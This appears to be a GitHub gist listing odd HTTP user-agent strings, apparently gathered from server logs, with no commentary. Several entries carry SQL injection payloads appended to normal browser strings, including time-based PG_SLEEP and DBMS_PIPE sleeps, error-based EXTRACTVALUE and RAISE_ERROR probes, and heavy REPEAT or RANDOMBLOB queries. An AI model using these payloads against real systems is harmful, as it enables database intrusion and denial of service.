Skip to content

Instantly share code, notes, and snippets.

@jkingsman
Created February 20, 2022 03:50
Show Gist options
  • Save jkingsman/12b3ac65ab977e55cb4727aba67495ea to your computer and use it in GitHub Desktop.
Save jkingsman/12b3ac65ab977e55cb4727aba67495ea to your computer and use it in GitHub Desktop.
Weird User Agents
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon; MRSPUTNIK 2, 4, 1, 44; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; YTB730; .NET4.0C; .NET4.0E)"
"Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\x5Cx22) AS zFoK WHERE 7847=7847 OR 6009=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(3200000000/2))))-- pRGx"
"Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\x5Cx22) AS jVpm WHERE 5036=5036 AND 6829=(SELECT 6829 FROM PG_SLEEP(32))--"
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 YaBrowser/20.2.3.213 Yowser/2.5 Yptp/1.58 Safari/537.36"
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 OPR/75.0.3969.243 (Edition Campaign 22)"
"Opera/537.36 gWgOEW9yYdLYwJC Zr3CnUdZ9AeZ3oK (KHTML, like KHTML) (iOS NT 10.0; Win64; x64) ZMzIlZlu9KZpY PMcx99ZZZ2HRRa q159Ml9lh9H4UZ Chrome/83.0.4103.61 ZxT27JlfTpYjZH9i 6FZwYC9Bo83 Konqueror/5.0"
"Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16' AND CHAR(122)||CHAR(82)||CHAR(73)||CHAR(110)=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR(8350),0),32000000000),NULL) AND 'NGpK' LIKE 'NGpK"
"Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17+(SELECT DfMA WHERE 5903=5903 (SELECT (CASE WHEN (4060=4060) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY(CHAR(65)||CHAR(69)||CHAR(83),NULL),0),3200000000),NULL) ELSE CHAR(104)||CHAR(67)||CHAR(104)||CHAR(122) END) FROM (VALUES(0))))+"
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\x5Cx22)) AS waaF WHERE 9999=9999 HAVING 8012=6854-- Kghx"
"Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17) WHERE 9362=9362 OR EXTRACTVALUE(1182,CONCAT(0x5c,0x71716a7a71,(SELECT (ELT(1182=1182,1))),0x71707a7671))-- ZArM"
"Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 OR 9882=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)# ffMG"
"Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16') WHERE 9635=9635 AND 9973=DBMS_PIPE.RECEIVE_MESSAGE(CHR(84)||CHR(74)||CHR(116)||CHR(88),32)-- jqQb"
"Mozilla/5.0 (Windows NT 5.1; rv:45.0) Gecko/20100101 Firefox/45.0 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04 u01-04"
"Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17',(SELECT (CASE WHEN (3508=3508) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY(CHAR(65)||CHAR(69)||CHAR(83),NULL),0),3200000000),NULL))) ELSE 3508/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0)))-- Kyfa"
"Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17))) OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x71716a7a71,(SELECT (ELT(1487=1487,1))),0x71707a7671)) USING utf8))) AND (((9164=9164"
"Mozilla/5.0 (Linux;) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 SRAF/4.0 (; UMC-Sharp; FVP6486X; v3.5; v1.0; ); CE-HTML/1.0 hbbtv PHILCO/PH60D16DSGWN4K DeviceID/c08acd5681c9 Arcelik Grundig FXM-U2FsdGVkX18pFMjSWLimVENT/H6/5d5nLc7QgC2sL9bT+MRp9QC11nSJ1u0jsHDZ-END"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; wbx 1.0.0; wbxapp 1.0.0; Zoom 3.6.0; ms-office)"
"Mozilla/5.0 (Linux; 9; ZTE Blade A5 2019) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Mobile Safari/537.36"
"Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17`) WHERE 3536=3536 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71716a7a71,(SELECT (ELT(4754=4754,1))),0x71707a7671,0x78))s), 8446744073709551610, 8446744073709551610)))-- TOkG"
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0; KTXN B671320301A118780T1390849P1) like Gecko"
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1') AND 3742=DBMS_PIPE.RECEIVE_MESSAGE(CHR(107)||CHR(71)||CHR(101)||CHR(121),32) AND ('ZwzW'='ZwzW"
"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4404.98 Safari/537.36"
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2940.18 Safari/537.36"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Win64; x64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; GWX:DOWNLOADED; GWX:RESERVED; McAfee)"
"Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16' OR 4596=RAISE_ERROR(CHR(55)||CHR(48)||CHR(48)||CHR(48)||CHR(49),CHR(113)||CHR(120)||CHR(120)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (4596=4596) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||CHR(113)||CHR(106)||CHR(113)||CHR(98)||CHR(113))-- dcFd"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment